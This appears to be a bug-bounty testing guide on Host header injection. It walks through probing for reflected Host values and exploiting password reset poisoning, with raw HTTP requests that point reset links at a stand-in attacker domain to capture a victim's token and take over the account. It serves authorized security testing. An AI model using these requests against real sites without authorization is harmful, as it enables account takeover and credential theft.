host-header-injection-attacks

Host Header Injection Attacks

When to Use

• When testing Password Reset functionalities that generate emails containing "click here" links.
• When an application performs HTTP 301/302 redirects back to its own domain based on the Host header.
• To bypass virtual host routing to access internal development servers (e.g., accessing an unlisted admin.target.localhost).
• To combine with Web Cache Poisoning to serve malicious absolute URLs to innocent users.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Probing for Reflection

# Concept: The HTTP standard requires clients to supply a `Host` header indicating which 
# website they want to communicate with. If developers dynamically use this variable (e.g., `$_SERVER['HTTP_HOST']` in PHP) 
# instead of a static config, we can inject arbitrary domains.

# 1. Standard Request
GET /login HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
<link rel="stylesheet" href="https://target.com/style.css">

# 2. Injected Request (Modify the Host header)
GET /login HTTP/1.1
Host: evil-attacker.com

# 3. Analyze Response
HTTP/1.1 200 OK
<link rel="stylesheet" href="https://evil-attacker.com/style.css">

# CRITICAL VULNERABILITY: The server blindly trusted our Host header to generate absolute URLs!

Phase 2: Exploiting Password Reset Poisoning (High Impact)

# Concept: Password resets send an email to the victim containing a unique token. 
# If the link domain is generated via the Host header, the attacker intercepts the token.

# 1. Attacker requests a password reset for [email protected]
POST /reset_password HTTP/1.1
Host: evil-attacker.com
Content-Type: application/x-www-form-urlencoded

[email protected]

# 2. What happens on the backend:
# Server generates token `XYZ123`.
# Server constructs email: "Click here to reset: https://" + HTTP_HOST + "/reset?token=XYZ123"
# The backend emails the victim: "Click here to reset: https://evil-attacker.com/reset?token=XYZ123"

# 3. Execution:
# Victim receives legitimate email from `[email protected]`.
# Victim clicks the heavily disguised link.
# The victim's browser navigates to `evil-attacker.com/reset?token=XYZ123`.
# The attacker logs the token, navigates to `target.com/reset?token=XYZ123`, and changes the victim's password. Account Takeover!